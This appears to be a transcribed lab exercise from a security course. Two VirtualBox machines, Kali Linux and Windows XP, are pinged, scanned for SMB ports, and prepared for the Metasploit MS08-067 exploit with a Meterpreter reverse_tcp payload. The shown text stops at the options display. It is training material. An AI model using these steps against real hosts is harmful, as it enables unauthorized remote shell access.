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Kali Linux Interne [in esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto

kali_interna@kali: ~
File Azioni Modifica Visualizza Aiuto
↳ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.100 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::a00:27ff:fe8d:f57d prefixlen 64 scopeid 0<x20<link>
    ether 08:00:27:8d:f5:7d txqueuelen 1000 (Ethernet)
    RX packets 56 bytes 7341 (7.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 34 bytes 4742 (4.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 15 bytes 1376 (1.3 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 15 bytes 1376 (1.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali_interna@kali)-[~]
$ ping 192.168.1.200
PING 192.168.1.200 (192.168.1.200) 56(84) bytes of data:
64 bytes from 192.168.1.200: icmp_seq=1 ttl=128 time=0.819 ms
64 bytes from 192.168.1.200: icmp_seq=2 ttl=128 time=1.52 ms
64 bytes from 192.168.1.200: icmp_seq=3 ttl=128 time=0.833 ms
64 bytes from 192.168.1.200: icmp_seq=4 ttl=128 time=1.55 ms
64 bytes from 192.168.1.200: icmp_seq=5 ttl=128 time=1.35 ms
^C
— 192.168.1.200 ping statistics —
5 packets transmitted, 5 received, 0% packet loss, time 4021ms
rtt min/avg/max/mdev = 0.819/1.213/1.550/0.323 ms

(kali_interna@kali)-[~]
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Windows XP SP3 [in esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto

Prompt dei comandi

Scheda Ethernet Connessione alla rete locale (LAN):

Suffisso DNS specifico per connessione:
Indirizzo IP. . . . . : 192.168.1.200
Subnet mask . . . . . : 255.255.255.0
Gateway predefinito . . . . . : 192.168.1.1

C:\Documents and Settings\Epicode_user>ping 192.168.1.100

Esecuzione di Ping 192.168.1.100 con 32 byte di dati:

Risposta da 192.168.1.100: byte=32 durata<1ms TTL=64
Risposta da 192.168.1.100: byte=32 durata<1ms TTL=64
Risposta da 192.168.1.100: byte=32 durata<1ms TTL=64
Risposta da 192.168.1.100: byte=32 durata<1ms TTL=64

Statistiche Ping per 192.168.1.100:
    Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi).
    Tempo approssimativo percorsi andata/ritorno in millisecondi:
        Minimo = 0ms, Massimo = 1ms, Medio = 0ms

C:\Documents and Settings\Epicode_user>
C:\Documents and Settings\Epicode_user>
```

The image shows a Kali Linux terminal window with two panes. The left pane shows the output of an Nmap scan on 192.168.1.200, identifying open ports 135/tcp (msrpc), 139/tcp (netbios-ssn), and 445/tcp (microsoft-ds). The right pane shows a Metasploit Meterpreter session where the user has entered the 'msfconsole' prompt. The user has run the 'search ms08-067' command, which displays a table of matching modules. The table has columns for '#', 'Name', 'Disclosure Date', 'Rank', 'Check', and 'Description'. The results show a module named 'exploit/windows/smb/ms08_067_netapi' with a rank of 'great' and a check of 'Yes'. The description is 'Microsoft Server Service Relative Path Stack Corruption'. The user has also run the 'show' command, which displays the Metasploit version (v6.2.25-dev) and a list of statistics: 2264 exploits, 1189 auxiliary, 404 post, 951 payloads, 45 encoders, 11 nops, and 9 evasion.

```
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):



| Name    | Current Setting | Required | Description                                                                                                                                                                     |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a> |
| RPORT   | 445             | yes      | The SMB service port (TCP)                                                                                                                                                      |
| SMBPIPE | BROWSER         | yes      | The pipe name to use (BROWSER, SRVSVC)                                                                                                                                          |



Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.1.100   | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name                |
|----|---------------------|
| 0  | Automatic Targeting |



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) >
```

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File Azioni Modifica Visualizza Aiuto
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.1.200
rhosts => 192.168.1.200
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 192.168.1.100
lhost => 192.168.1.100
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.1.200   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     445              yes       The SMB service port (TCP)
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.1.100   yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > 
```

